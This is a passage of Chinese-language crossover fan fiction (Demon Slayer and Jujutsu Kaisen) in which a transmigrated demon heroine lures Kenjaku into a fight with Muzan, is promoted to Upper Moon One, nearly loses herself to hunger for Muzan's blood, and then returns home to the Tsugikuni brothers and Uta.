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知道他操纵的是个什么力量,但是我能肯定--他绝对需要我完整的身体。
说完了话,我满意地看见了缝合怪的笑容消失。来吧,来谈判吧。
继国严胜早已喘不过气,他觉得自己的身体被巨力箍紧,整个人就像要被扭干的布料,整个人都快被拦腰截断。
而师傅话更是将他打入谷底,都怪自己没用!他想,身上的束缚渐渐减轻,他从半空跌落下来,落入一个怀抱中--是师傅。
继国严胜大口呼吸着空气,还不容易使得胸腔中再次充满空气,他近乎似惊恐又嘶吼地发声,“别走,师傅!”他的手紧紧攥着师傅的衣袖,却又被师傅一根一根地掰开。
“严胜,你听我说,我会没事的。”我努力给弟子一个坚定的眼神,但是他似乎无法接收,只是那双往日沉稳的眼里噙出大量的泪水,像是永无止境的泉眼,流出绝望的绝唱。
我将他的手下翻,手指在他掌心划下了什么,然后转头并没有理会他,看向了继国缘一。
继国缘一完全看到了我的小动作,他也看清了我写了什么。
因此,我放心地将继国严胜转接给了他,“保护好你们自己。”
我不再看他们,只是面色沉重,一脸英勇就义、壮士断腕般悲情地盯着缝合怪,压低了嗓音,“走吧,至少别让他们看到最后一幕。”
羂索的表情似笑非笑。
蠢货,他在心中暗想,这女人脑子确实不好使,就算他现在答应了又怎样,过一会等他得到了她的身体,他也能将再去打包那对兄弟,不过是时间先后的问题罢了。
虽然是这么想,但是面上的尊重还是要有的。
羂索回头看着老实跟在自己身后的女人,愉悦地搭话,“你还真是善良啊。”
我没有回话,只是好一会,声音里充满着懊悔与苦恼,“你说之前我的身体是要预定给谁?如果我帮你做事,你能不能放过我。”
我的眼神充满诚挚之情,力图展现出一个走投无路的鬼的垂死挣扎。
羂索只是好笑,他想,这鬼是真的没脑子。
不过安抚这个傻子还是很有必要的,他看着傻子身后的特级咒灵有些躁动,便笑着开口,“你的身体当然是要献给两面宿傩了。不过,你这么说了话,倒是可以和我尝试契约做交换?”
那个女人的声音里充满着惊喜,“真的吗?您愿意雇佣我,您愿意饶我一命了?”
看着那女人身后的特级咒灵似乎更加激动的样子,羂索皱起眉头,尝试应付回答,“当然。”虽然这话是个谎言,但是那个特级咒灵似乎瞬间被安抚了,安静了下来。
羂索压下心中的暗惊,看着周围的环境--无人的密林,看起来很适合做一些不法交易,就在此更换躯壳吧。
但是那个女人的声音依旧聒噪,“那我的报酬呢?”
蠢货吗?现在还敢谈报酬。他看着平静的特级咒灵,微微有些不耐烦,决定直接开启更换。
但是我的话并不是对这个缝合怪说的,我看着缝合怪背后的鬼舞辻无惨,笑得十分狗腿,“无惨大人,那我这回的报酬呢?”
31.入职第十二天
羂索一惊,往后看去。
一个面色惨白的男人穿着一身宽大的素色衣裳站在阴影下,听见了对面那个蠢女人殷切的话,皱起了眉头,似要发火。
当他的目光和羂索相遇,他周身的火气更是憋不住,“就是你这家伙啊......”
随着鬼舞辻无惨的这句话,一群面目狰狞的恶鬼从他身后缓缓出现。
羂索的笑彻底僵住了,他的眼斜睨着那个看起来依旧老实的蠢女人,忍不住咬牙切齿道:“真是小看你了啊。”
我看着这一触即发的斗争,忍不住摸了摸自己后脑勺,十分谦逊地应答:“哪里哪里。”
没等羂索回嘴,我就倒退数步,为从我身边走来的鬼让路--战斗要开始了。
*
我对我自己的命十分珍惜,就算见义勇为,也不会舍己为人到要自我牺牲性命的程度。
因此,在一发现羂索的时候,我就立马在脑内通过直呼鬼舞辻无惨的名字来揺号他。
一接收到鬼舞辻愤怒的声音,我就立马表忠心画饼双管齐下--“鬼舞辻无惨大人!我发现了那个白发妹妹头冰系咒术师的踪迹,他正与他的同伴商议如何害您,现下那个白发妹妹头冰系咒术师已经先行离开,只剩下他同伴一人!如果直接抓住了他,一定能严刑拷打出他们的计谋,属下愿意为您作为诱饵来引诱他......”
我知道鬼舞辻无惨一定会来。
鬼舞辻无惨已经抱头鼠窜躲躲藏藏了许久,他虽然忌讳冰系咒术师,但是随着实力的增长,那副小肚鸡肠睚眦必报的性格又被激发出来,复仇之心又占据了他的心神。
而且,不得不说,他对诅咒师颇有研究。
我不懂什么是咒力,也不明白关于咒灵是什么。毕竟鬼舞辻无惨这个极度自我的家伙只负责发布命令,不负责员工培训。这才会使我在那个缝合怪面前手无缚鸡之力一般。
一朝被蛇咬十年怕井绳,至少,鬼舞辻无惨看起来掌握这对付诅咒师们的方法。我看着某些鬼拿着某种特质的武器,朝着空中猛地一挥,就让那个缝合怪狩衣男露出了吃惊的表情。
这么说来武器是关键啊。
我又没有顺手的武器,只是老老实实地摸着鱼,不挡着别的鬼的道,又在鬼舞辻无惨看过来的时候假装很忙地挥舞着拳头,和空气斗智斗勇--对我来说,他们两败俱伤最好。
期间有鬼倒下,缝合怪白色狩衣上也不断渗出血迹。
只不过,我望着远方,忍不住眯起了眼睛。月亮西垂,夜色开始由浓转淡,多数的鬼都开始躁动了起来,就连鬼舞辻无惨的攻击都变得更加狠厉了。
那么,究竟谁会赢呢?
鬼舞辻无惨看着眼前焦灼的战况,心下不满。他收集的咒具并不多,只能让几个还算出挑的鬼持着咒具上前进攻。其他鬼就作为干扰那个诅咒师的诱饵就行。
不过这样效率实在太低!
难得找到了这个诅咒师的踪迹,如果不能活捉他,恐怕之后又要在暗处作怪。
那个冰系诅咒师除了战力,在智谋方面似乎一般。他一直怀疑还有其他人在背后操控,经过这个下女的报信,他才能锁定这个家伙。
所以,“你给我过来!”
我听着鬼舞辻无惨的暴吼,不得不放下摸鱼的心,屁颠屁颠地赶过去。还没在他身前站定,手上就被扔来了一把砍柴刀。
“这是咒具,给我好好拿去砍那个家伙。”鬼舞辻无惨扔完了咒具,看着那个下女讶异地发问。
“无惨大人,不需要再留活口了吗?”
真是个蠢问题。鬼舞辻无惨冷笑一声,看着那个被围攻的诅咒师和逐渐变淡的夜色--一旦这家伙死了,那么无论是什么针对他自己的阴谋不就自然会消失了吗?
我的问题只得到了鬼舞辻无惨的冷笑,我了然,接过了砍柴刀就直接向那个缝合怪砍去,嘴里顺便喊着自编的血鬼术“超级大金刚”。
不得不说,咒具还是有点用处的。虽然看不见什么,但是我能感觉到柴刀砍下时切割掉了无形的什么东西,而那个缝合怪的表情也从游刃有余变成了惊恐。
真是奇怪啊,干坏事的人也会害怕吗?
我有些不解,但我并不需要思考那么多,只需要--挥刀就好。
“超级大金刚!”随着这声口号,我将砍刀挥下,我的衣服溅上了一片腥热。我低头看了看自己变得乱七八糟的衣服,颇有些为难--又得换套新衣服了。
鬼舞辻无惨显然是意识不到我的烦恼,他只是满意地在阴影下冷笑,号令着其他鬼将那位缝合怪的躯体分食。
我站着离他们远远的,躲在阴影下,有一下没一下地把玩着砍柴刀。老实说,这玩意还挺好用的,我不知道我如果向鬼舞辻无惨讨要的话,他能给我吗?
漫无目的地想着,我忽然感觉身边有一个鬼向我靠近。
咦,哪个鬼这么有觉悟,居然懂得忙中摸鱼?
我转头看去,却见那鬼拿着一个手指向我靠近。
那个手指看起来有些年头了,指甲很长,散发着一些不妙的气息。
不是吧,难道是分享小零食。我并不好这口啊?我皱着眉头,思考怎么拒绝同事莫名其妙的好意时,却见那家伙径直将手指向我扔来。
不是,我还没说话咋就急眼了呢?我正欲躲过,却见那家伙向我做了个口型,不由一怔,下意识躲着鬼舞辻无惨的视线接过了那根手指。
这个家伙,他说的是--“如果你想彻底摆脱鬼舞辻无惨,就记得吃下它。”
我紧盯着这家伙,看着他作为鬼腐烂的上额上出现了一道诡异的缝合线。
看来是缝合怪转移了!他应该是趁乱钻到了死去的鬼的躯体中,给自己重新找了个宿主。
此时已经天要破晓,我看着即将闪身离开的鬼舞辻无惨,又看着毅然决然往阳光下走的被缝合怪附身的鬼,忍不住咬牙--可恶,这家伙就掌握着鬼不能
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见阳光的这点。
而我也不敢再鬼舞辻无惨面前展现出自己特殊的体质去阳光下追他。
可恶,“无惨大人,那家伙逃跑了!”我只能躲在密林中,在脑中大念鬼舞辻无惨的名字,指着那家伙逃跑的方向。
我看着那头顶缝合线的鬼微笑地走向阳光,在众鬼的惊悚的视线下,划为灰烬,只是留下了一个脑子被不知名的东西托举着离去。
我听见鬼舞辻无惨在我脑中大骂出了一串脏话,我看着众鬼伏倒在阴影处,颤着身子土下座的样子,猜想这或许是群通知。
我也假装害怕的样子,颤着身子蹲下就当歇歇脚,一遍盘点着今日的战况。
鬼舞辻无惨失去了一批鬼,那个缝合怪看起来元气大伤,我还收获了一个诡异的手指,总的来说,我应该不算亏。
不过危机并没有解除,那个缝合怪的脑子还在,看起来应该暂时不会放下对我□□的垂涎,而鬼舞辻无惨这边--
我抬头看着鬼舞辻无惨在阴影处暴怒的身影,不由忖度着--难道他要跟着一群鬼在这里站到晚上?感觉不像是这家伙的风格啊?
或许是感应到了我的视线,鬼舞辻无惨对上了我的眼,又是冷哼一声。一个抱着琵琶半遮面的女鬼从他身旁走出。
咦?这种时候还要奏乐一曲吗?鬼舞辻无惨不是吧排场这么大?
在我暗暗吐槽之际,我看着那位琵琶女鬼轻轻拨动了一下弦,发出一声浑厚的“嗖”声,我便感觉一时间天旋地转,整个人像是被扔到了高速旋转的风车上一般极其想吐。
下一秒,眼前的景色剧变,我们出现在了一间破旧的大房间内。
这种过场感好熟悉啊?我好不容易从眩晕中恢复过来,突然这么想到。
好像总感觉曾经什么时候也经历过这种眼前场景变换的样子。
我挠挠头,但是怎么也没想出来,便果断放弃了。看了看四周还趴在地上的鬼,又看了看站定一脸不悦的鬼舞辻无惨和他身旁看不出表情的琵琶女鬼。
我不由感慨,老板待遇就是不一样,这样的空间转换里别人就像坐破路驴车,他就能坐马车还加上软垫的。说不是同事的拍马屁小妙招我都不信。
许是将我愤慨的眼神当成崇拜,鬼舞辻无惨难得视线平静地从我脸上划过。
不,总感觉这家伙在没搞死对手后心情不会那么平静。这绝对还要作妖。
我的直觉并没有出错,在我端正跪坐之际,我感觉身后有什么东西爆裂的身影。
我微微扭头一看,便看见了几个鬼爆炸过的痕迹和周遭颤颤巍巍的鬼。怎么说呢,我说变成鬼自爆本来是唬缝合怪的,原来这么惨烈的吗?
我不忍直视地收回视线,听着鬼舞辻无惨缓缓开口,“没有的家伙,竟然这么多鬼都拿不下一个普通的诅咒师。”
鬼舞辻无惨身后的触手挥舞着,我看见他狠狠攥着一只鬼的脖子,声音很低,“你说,我留你们干什么用呢?”
32.入职第十三天
什么叫“我留你们干什么?”
鬼也不是靠你留着的啊?
我内心暗暗吐槽,外表却安静如鸡。听这话也不敢作声,只是看着那个鬼的脸渐渐发青,本就看起来丑陋的脸更是狰狞。
“无惨大人,我会努力变强的。”那个鬼努力地发出鬼生中最后的声音。但是,只能是最后的声音。因为鬼舞辻无惨根本不屑于这样的理论。
我虽然不喜欢鬼,但看这一幕也难得有“狡兔死、良狗烹”的荒诞感。谁家好公司一言不合就直接裁员啊?
啊,糟糕,又有一种微妙的熟悉感了。可恶,鬼舞辻无惨到底夺走了我多少的记忆。
我边吐槽,边看着触手转移到下一个鬼身前,那是个长得有点像壶子的鬼,此时正战战兢兢地,壶子还发出轻微地碰撞声。但是,在鬼舞辻无惨透过一记死亡眼刀后,他也安静如鸡了。
咦,这个不用来杀鸡儆猴吗?我略微有些吃惊,甚至忍不住猜测难道鬼舞辻无惨的xp是这种。当然,当我知道我们这个人员架构极其烂的组织的多数经费是靠卖这家伙的壶赚来,然后对这位玉壶和无惨的关系大为改观这点就是后话了。
此时的我还没悟透玉壶是带资进组,只觉得对方身份不太一般,故暗暗向其投去了敬佩的眼神,然而,对方并未接收到。
我大脑放空摸鱼了多久,鬼舞辻无惨的裁员就进行了多久。直到鬼舞辻无惨走到我身前,我才慢慢回过神来,将自己的土下座调整地标准了些。
“你这回表现不错,想要什么奖励?”鬼舞辻无惨看着那一脸呆滞的下女。从他这个视角上看,他能看到这个下女恭敬的背直直地挺着,随着他的话慢慢抬起来了头,露出一双木然的眼睛。
这个家伙看起来并不知道想要什么。就像个傻子一样。
鬼舞辻无惨又不适时地回忆起之前在产屋敷宅中的日子,彼时他身体孱弱,只能坐在内室中,看着那个下女在外面活动。
他讨厌那些聒噪的虫子,它们到处蹦跳的身影会让他觉得烦躁,明明只是最弱小的东西,却总是活跃地要彰显自己卑贱的存在。
“全部将他们捉走。”他再一次不得安眠,直接向着下女下令,随后端着茶,坐着,看着那个下女随着卑贱的虫子蹦跳。不需多时,她就将所有的虫子都抓住了。
她将那些卑贱的东西装在草笼中献给他时,似乎也是这样木然的眼神。
明明都是一样的卑贱,无论是虫子,还是她。
鬼舞辻无惨的眼神在我身上停留了好久,我甚至还能看到那个玉壶朝我投来幸灾乐祸的一瞥。
可恶,我刚刚可是很友善的。我决定将这个同事拉进黑名单。
不过,到底要什么呢?我摸了摸手上的刀剑,又忍不住回味着以前鬼舞辻无惨血肉的味道。
呜,怎么办,两个都想要啊!
我顺势摸了摸自己不存在的口水,还是开始说起了场面话,“能为无惨大人效力是我的荣幸!属下不求恩赐,只是希望下次为无惨大人直接剿灭对手!”
我说的慷慨激昂,拍起马屁极其顺溜,收到了众鬼的不爽的眼神。
但是这显然取悦了鬼舞辻无惨,他好像是真心喜欢舔狗类员工。我感觉鬼舞辻无惨扫向我的眼神柔和了一瞬间,他发出了一声愉悦的笑,然后对我说,“张嘴!”
我抬起头,接过了他腕上滴下的血,本身想吐槽这样子的姿态十分不雅,但是当血液入口的一瞬间,一种极其强烈的满足感就从心底涌现。
我的脑海中甚至开始放起了快乐的小曲,整个人变得都飘飘然了。那种力量瞬间充盈在身体内的感觉实在是太好了。
我的脑中又开始冒出了一些碎片的记忆,好像有大半夜加班被锁办公室遇到楼下起火的,好像有不断赔笑但是依旧被要求喝酒的,好像有做护工被人要死心不死的家伙伸咸猪手的......
总感觉,都是不怎么样的东西啊。
我觉得自己脑袋逐渐放空,好像有什么东西慢慢被从中偷走一样,我的心变得越来越淡,只被一种强烈的食欲驱使。
看着鬼舞辻无惨的伤口渐渐愈合,我舔了舔嘴角,压下心中的感觉--如果再让我吃一点,再多一点,我总感觉,我会比鬼舞辻无惨更强。
而且,仅仅是一点的血,如果是整个鬼舞辻无惨呢?
我忽然觉得又饿了。
我无法说明这是一种普信还是身体进化的无声的劝告,只是心情颇好地又站回原地,甚至不太在乎鬼舞辻无惨故意的捧杀和拉仇恨。
明眼鬼都能看出来,在一众杀鬼的举措中突然给其中一个鬼奖励,这不是拉仇恨又能是什么呢?<
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p>感受着众鬼的仇视,我不由感慨鬼舞辻无惨拉仇恨的强度。真是奇怪,明明带给他们死亡威胁的是鬼舞辻无惨,明明暴虐的喜怒无常的是鬼舞辻无惨,他们却视之无睹,反而是盯上了我。
散会后总感觉会有鬼跟着我啊。我不甚在意地想着,大不了顺手解决几个吧,反正算正当防卫而已。
而此时,鬼舞辻无惨还在继续开着会,大会主题围绕着组织内人才建设薄弱,组织架构松散等问题展开了深刻讨论。
在直接物理大裁员后,看着一地狼藉的房间,鬼舞辻无惨宣布要进行人员补充,并直接将我任命为上弦一,叫我将招收9个强大人类来进行梯队建设,建造十二鬼月。
呜,我数着自己认识的强大人类,沉默缓慢地点了点头。
*
继国缘一和继国严胜从密林中走出,这边也找不到李。
密林中一看就是曾经发生过一场大战,四散的血迹、充满刀痕剑痕的树木,处处都显示着不详。
望着面沉如铁的继国严胜,继国缘一小声开口,“姐姐不会有事的,这里并没有她。”
是的,唯一残存的遗骸看起来是那个穿着狩衣的男人,而其他的,是继国严胜熟悉的黑灰--那些鬼遇见阳光会变成的东西。
继国严胜无法像刚见面的继国缘一解释,他更担心的是自己的师傅也遇阳光化成黑灰。
他只是沉默地向前走着,回想着师傅在手掌写的话[在夜里等我,我会回来。]
真的会回来吗?他紧紧握着刀,看着头上的一轮明月。
忽然,他的衣角被缘一拽住。“姐姐?”
继国严胜听见了继国缘一的声音,立马顺着他的视线看去。
是师傅!
只不过,看着满身血污,手中还提着一个骂骂咧咧的鬼的脑袋的女人,不知怎的,继国严胜有些不敢靠近。
*
手上的脑袋还在发出聒噪的声音,我觉得有些烦躁,不由将其放在脚下狠狠一踩。
世界瞬间就安静了。
我看着自己的弟子和他的胞弟,打了个招呼,心里暗暗数着,“一个、两个.......”
看来马上就能再吃点东西了。
我回味着鬼舞辻无惨的味道,朝着两个十二弦月后选对象露出了极其温柔的微笑。
33.入职第十三天
我并没有将两位上弦预备役的沉默当做一回事,只是心情不错的领着他们走出密林。
是的,在我的人才库中,我认为这两位兄弟可堪大用,按照潜力来说肯定是上弦。甚至继国缘一也有很大可能直接成上弦一。
咦,这样能代替我,让我直接退休吗?
这样一想,我感觉心情好极了。
继续掰着手指头,我在内心安排着十二鬼月的人才建设。按照身体健壮程度了话,狛治能算一个,庆藏也行;妓夫太郎虽然不够健壮,但是心志坚定,可以算一个。梅了话实力不够,但是感觉妓夫太郎一定会带着她,那也算一个吧。
如果把那个白发妹妹头诅咒师抓住了话,也算一个把。这样说来,已经有七个了,剩下再随便从哪个剑道场或者道场抓几个人来吧!
一下子就在心中组建了十二鬼月,我感觉KPI完成近在咫尺,不由心情大好,嘴中又开始回味起鬼舞辻无惨的味道了。
真是糟糕啊,就像某种成瘾性的药物。我想到这里,雾障迷蒙的脑中似有一阵清风吹过,难得清明了一瞬,但是下一秒迷雾再次覆上。
不要再想太多了,变强没有什么不好的。吃点鬼舞辻无惨又怎么了呢?
上次涌现的记忆碎片又再次席卷了我的脑海,那些不堪的疲惫的作为人类的记忆根本无法挽留我,让我只觉得烦躁。
做人不如做鬼,虽然做鬼还有鬼舞辻无惨这样的烂鬼当老板,但是只要我再将他吞噬一点,再变强一些,加上我不怕阳光的特性,将鬼舞辻无惨全部吞噬殆尽,那不就什么都解决了。剩下的鬼生,干什么不好呢?
所以,为了我的幸福,牺牲一些人又怎么样呢?
畅想着我未来升官发财死老板的快乐日子,我想畅快地笑出声,却不知为什么,心里莫名闷闷的。我直觉自己已经站在了某种悬崖的边缘,谁也不知道跳下去是财宝典籍奇遇还是尸骨无存。
但是食欲却是驱使着我向前向前。
别再想了。
我撇了撇嘴,正要向密林外迈去,却被两双手拉住。
我一低头,是那两个我极其看重的上弦预备役。
他们的手是温热的,平常察觉不出来的热度一时让几乎将我灼伤。
“怎么了?”我自认还是充满耐心,并没有直接挣脱他们的手,只是低头看着他们。
继国严胜第一次牵起师傅的手,他看着师傅弯腰与他对视,忍不住抿了抿嘴。
女子原本的黑瞳里出现了银色的“壹”,使得整个人多了几分妖冶的感觉。而那双一直会轻柔抚摸自己脑袋的手,继国严胜垂眸看去,不知为何,那双手的指甲诡异地变长了许多,带着吹发即断的锐气。
继国严胜从没有这么清晰的意识到,师傅是鬼。是那些害怕阳光、渴望血肉的妖物。
以往那个温柔的、包容的、沉默的师傅好像被另一种生物所取代。他又转头看向了缘一,他也从缘一眼中看到了惊诧。如果缘一也这么认为,那么......
继国严胜打量着缘一的手边,那里并没有合适的兵器,一时间暗暗松了一口气。
师傅的耐心似乎已经耗尽了,见自己长久不回答,已经打算直接走向密林外。
不行的,继国严胜抬头,透过了密林,他已看到天色渐明。
那个上弦预备役一直左顾右盼,却什么话也不说。我便收起了笑脸,只打算快点将这些十二鬼月梯队建设的后备役收集起来,便打算直接挣开他们的手,将他们拎着走算了。
但是我没挣脱成功,因为我看见那个叫继国严胜的家伙将自己的外袍脱下,踮着脚打算将其披在我的头上;而那个叫继国缘一的家伙看了一眼继国严胜的动作,像是明白了什么,也迅速将自己外袍脱下,挣扎着向我递来。
不是,这些家伙,到底在干什么。
我忍不住皱起了眉头,又看了一眼外面的阳光,这点东西根本伤害不了我。
只是不知为什么,内心却是愈发躁动。我直接挣脱了两人的手,看着紧张巴巴盯着我的两位上弦后备役,干脆眼不见心不烦,无视对方抗议,一手一个拎着他们的后襟直接带着他们冲出去。
现在我能感觉没有鬼在附近,直接冲出去吧!
抓紧时间吧!
我要再吃点什么!
不可以再想其他的什么了!
我咬了咬牙,将两人的外袍直接留在原地,冲出了密林。
可是冲出去的一瞬间,巨大的悔恨和害怕就将我包裹。
晨曦中的光并不强烈,却使我忍不住将眼闭了起来。
好久没有接触阳光,一直以来伪装体质,在白日也是全副武装出行,阳光一时间我只感觉陌生,而更可怕的是那种陌生的来自身体本能的害怕!
我感觉自己如同置身火海,所有的一切都在燃烧。我的太阳穴突突直跳,有什么东西从我的皮肤上剥落,我觉得自己的血液也开始烧起来了,我甚至产生了一种自己即将化为灰烬的恐惧感。
我并不是特别的。
我是什么时候开始害怕阳光的,这样我和鬼舞辻无惨有什么差别,如果这样我也要像鬼一样吃人吗?
但是在这个时候,充满雾障的大脑似乎被剧痛激活了,一时间迷雾尽散,一片清明。
我咬着牙,立马退回树荫下,我已经看不见什么东西了。
鬼的治愈能力再慢慢发挥着作用,我只感觉自己剧烈地喘着气,身上还是剧痛无比,但是脑袋却是难得的清醒。
喘息之间,我听到了严胜和缘一的声音。
“师傅,你没事吧!”
“姐姐,你没事吧!”
两人的声音几乎重合在一起,我想说些什么,但是此时嗓子却发不出什么什么声音,看来还需要一些时间恢复。
我的记忆已经完全回归了,不管是穿越还是与歌和缘一的相处,在产屋敷家与大家的相处,对医师、樱等人的吊唁,怎么变成鬼的,一切一切,我都想起来了。
果然屑老板的饭都是带着毒的,差点就忘记初心走错路了。
正在我在内心暗骂产屋敷月彦时,我却感觉一股血腥之气传来,然后嘴旁被某种液体濡湿。
“师傅,你快吃点,你别死,快喝点!这回我
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一定要赶上!”继国严胜的声音是如此迫切,他朝我递来的手简直是要将我堵住。
而继国缘一似乎也是有样学样,我能感到另一只递到了我嘴边,一时间我左右为难。
不是,你们这两兄弟......
我一时间心绪复杂,只是努力推开了他们的手,然后着力集中治愈能力将嗓子恢复。
“你们两个,我心意领了,但是我可不会吃人血的啊。”我的声音沙哑极了,看起来就像久病初愈,一时间把我自己都吓到了。
继国严胜沉默了一瞬,然后声音中带着哭腔,“师傅,你稍等,我这就去找鬼来,你要撑住啊。”
不是,我在你心中是什么个形象。我又是感动又是有些无语,本想也坚定地说自己不吃鬼的血肉,但是一想到自己对于鬼舞辻无惨血肉的迷恋,我又沉默了片刻。
这种沉默似乎被继国严胜变成了一种默认,他放下话就打算出发了。
这把我吓得立马恢复好了,我立马捉住了继国严胜的胳膊。
“我没事了。”我将他拉至缘一身边,看着两人留着血的手臂,不由有些头疼。我看着自己充满血污的外袍,叹了口气,直接拿了他们干净的衣服撕出了部分布条给他们包扎。
一面包扎一面忍不住碎碎念,“我可没教过你们伤害自己啊。不管是严胜也是,缘一也是,都得好好珍惜自己啊。而且遇见鬼就把自己的血往上送可不是什么好习惯.......”
我的话并没有说完,因为缘一已经拉着严胜,一起过来抱着我了。
我感觉严胜又哭了,他根本来不及说话,因为我能感觉自己的衣服又被濡湿了。
缘一没哭,但是表情充满担忧,“我和哥哥还有歌还有织子阿姨还有小鸡小鸭们都在等着你,欢迎回来,姐姐。”
嗯,看来这几年和歌相处的很好,原本沉默寡言的小萝卜头也和歌的说话方式一样了啊。
我一时间说不出话,明明凭借鬼的强大治愈能力早就治好了嗓子,但是却还是觉得嗓子哑哑的。
沉默了好久,我只能惯性地摸着两个小萝卜头的脑袋,良久才能说一句,“嗯。”
在这个温馨的时刻,我的肚子却又不合时宜地叫起来。
继国严胜有些警觉,缘一却笑了出来,“姐姐,等太阳落山回去一起吃饭吧。我们之前养的鸡下蛋了,鱼也被歌照顾得很好......”
听着缘一的介绍,我老实地蹲在树荫下,感受着那个小家在我不再时的飞速发展,好像这样就能弥补我不在的空白了一样。
终于太阳落山,趁着月色,我们来到了熟悉的地方。一个穿着小花格子和服的女孩正在门口焦急地等着,“缘一,你回来了.......”
缘一向她远远挥手,那个女孩像个灵活的小兔小跳着走来。
她的视线一转,我们的眼神对视,她的脚步先是一顿,然后越来越快、越来越快,就像是一个火箭冲进了我怀里。
我稳稳地接住了歌,看着推门而出的织子阿姨、房屋外嚼着野草的驴,不自觉勾起了嘴角。
“我回来了。”
34.入职第十五天
这个小家已经有许多变化。
我之前修建的小池塘里的小鱼苗已经长成了大鱼,一直甩尾地扑打着水,看起来活力十足;之前的小鸡仔也长大了,有的闲适地待在了稻草编成的柔软的小窝,安心孵着蛋。
还有一只鸡......
我看着那只公鸡顶着红艳艳的鸡冠,振翅起飞,掀起一阵小风吹得尘土飞扬。它站在栅栏上,昂着头,一双小黑眼紧盯着我这个陌生人,喙一张,便是一声响亮的鸣叫,然后尾翼下自然而然流出一坨东西。
这声鸡叫当然吓不住我,我就看了一眼,转头,又想再瞅瞅别的东西。
谁知这动作竟招致鸡强烈不满,它上下瞅着这个没礼貌的女人,振翅打算给她来个一嘴让她知道谁才是这个家里的主人。
它振翅,它起飞,它伸头一啄--
诶?
我回头,就看见织子阿姨笑盈盈地看着我,一只手握住鸡喙,一只手绑住鸡的双脚。
“今晚就拿它来添一道菜吧。”织子阿姨无视手中鸡猛烈拍打的翅膀,直接宣布今晚加菜。
我默然一瞬,低头问歌,“织子阿姨最近身体看起来挺不错啊。”
歌如黑曜石般的双眼盛着欢喜,她笑迎迎地指了指家里的各个动物,“因为每天都要防止鸡飞走,鱼塘塌了鱼溜掉,这些都是姐姐你带来的,我们都想你回来的时候一个不少得给你看。”
这么说来,鱼池和鸡不仅补充了肉蛋,还增加了部分锻炼吗?
我看着织子阿姨利落地了解了那只嚣张的鸡,一时陷入了深思。
然后转头我就看见继国缘一牵着继国严胜,带他展示自己这些年的成就。他掏出了一个看起来珍贵保管的小竹笛,然后又从墙角下的盒子里拿出许多草编的盒子,“兄长,这是我为竹笛做的小盒子,还有竹编小扇......”
这一副手工大师的姿态将原本有些尴尬的继国严胜震撼住了,“缘一,你这么多年都在......”
严胜下意识摸了摸自己的佩剑,看起来陷入了彷徨。
缘一显然没有成功get到兄长的遗憾,他显得有些兴奋,跟着歌进行了一番眼神互动后又下定决心点了点头,拿出了一个精巧的小物件。
那是一个精巧的竹编蟋蟀。
缘一一边将竹编蟋蟀往着严胜手里塞,一面红着脸害羞地看了我一眼,“这是我和歌在姐姐教的技法上做出来的东西,兄长你以前送我的笛子我一直很喜欢,我也想把我做的最好的蟋蟀给你,希望你也能喜欢。”
继国严胜微微张了张嘴,拿起了那个精巧的竹编蟋蟀,仔仔细细看了许久,又看着缘一。
“我很喜欢,谢谢。”严胜说完,放下了情不自禁摩挲配件的手,似乎想到了什么,突然忍不住长长叹了一口气。
“我真的不懂你......”严胜小声地说着,然后深深看了歌一眼,将缘一的身体拉近,在他耳边小声说了什么。
我和歌就看见缘一本就害羞的脸越来越红,整个人都快红成一个熟透了的番茄。他抿着嘴,一双眼睛扑闪着,一面小媳妇似的不时点点头。
声音虽小,但逃不出我目前作为鬼的耳朵。我边听,不时眼神快速在歌和缘一间游走,暗自啧啧。
歌看着我们的这番样子,歪了歪头,笑迎迎的脸添上了一丝疑惑。
我也不好直说,只是见那边话题快要结束之际,我出门将今晚要吃的果蔬递给了严胜和缘一,“去处理吧。”
这回轮到严胜手足无措了,他看着缘一顺手接过、熟练出门处理,自己只能愣愣地跟着弟弟出门然后,笨拙模仿着行动。
“兄长,要不交由我来吧?”我听到缘一的劝告,转头看去,严胜正苦大仇深地盯着手上的一根光秃秃的菜杆子。
顶着众人的视线,严胜尝试抿抿嘴变回往日云淡风轻酷哥模样,一面偷偷将菜往身后放。
“慢慢来,缘一一开始也是这样的。”织子阿姨在给鸡拔毛,抬头看了一眼说了一句话又继续了。
缘一有些不好意思地挠头,严胜也悄悄舒了口气,又从身后拿出了秃头菜,悄声问我,“这也是修行吗,师傅?”
“嗯。”我有点想笑,但是忍住了,毕竟人生处处是修行呢。而且严胜或许自己还没意识到,他开始渐渐放下各种方面都与缘一比较的习惯了。
这真是好的开始!
吃完丰盛的饭后,歌避开了众人,给我手中塞进了一个小小的包裹。
“嘿嘿,我藏得很好,现在终于能交给姐姐了。”她说完,没等我的反应,就蹦蹦跳跳地离开了。
这个大小?
我一时竟有种近乡情怯的感觉。深深吸了一口气,我打开了紧紧裹好的布料,里面赫然放着的是我的手机和防狼喷雾。
“真是好久不见了啊......”我忍不住自言自语,手指默默移到了开机键。
多年未开机的金属小盒子在几十秒后缓慢地给这个时代带来了异世电子产品的光芒,手机的屏幕光仅在我脸上停留了了几秒便消失地无影无踪,就像是穿越时空的一声问候。
拿起已经全黑的屏幕,我看着里面映出自己似哭非哭的脸,翻了翻眼。
那双脸长久未看竟然显得有些陌生,尤其是现在这双刻着银色“壹”的眼眸。
这还什么上弦一,这不就是奴隶吗?我可是天生不愿做奴隶的人。
我忍不住吐槽,然后从衣袋中摸索着,掏出了一个干瘪的丑丑的干指,更加陷入长久的沉默。
这玩意,根本不适合下嘴吧!
*
里梅正坐在一棵巨木上小憩。高处的风悠扬,带来难得的惬意。
树下忽然传来一声招呼,被惊扰的诅咒师不满地向下面看去,正是一只鬼。
又是冒充宿傩大人那家伙带来的垃圾吗?里梅不屑地想着,正打算出手,那鬼却像是提前预知到危险似的,大声疾呼,“是我!可别误伤了!”
定睛一眼,里梅倒确实发现了那只鬼有所不同--脑袋上还有一条极其明显的缝合线。
“真是狼狈。”里梅跳下了树,仔细打量着这只鬼。
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>嗯,腐烂的身躯、柔弱不堪的肌肉,看起来是随便找的躯壳。
羂索倒是看起来好脾气地笑着,也不反驳,只是语气显得矫揉造作,“谁说不是呢?果然是替宿傩看重的受肉,如此的不同凡响,倒是害得我差点丢了性命。”
里梅是不信他的鬼话的,只是冷眼瞧着他到底要说出什么,他除了宿傩大人的事以外其他都不关心。
没得到回应,羂索似乎也不觉得无趣,他只是摸了摸鼻子,又继续下去,“已经到了要收获的时候了,那个受肉如果再不收割了话,恐怕就要成为下一个鬼王了,倒时候也很麻烦呢。”
看着里梅好像还是不为所动,他却笑意更甚,“而且,我已经把一根手指给她了哦~”
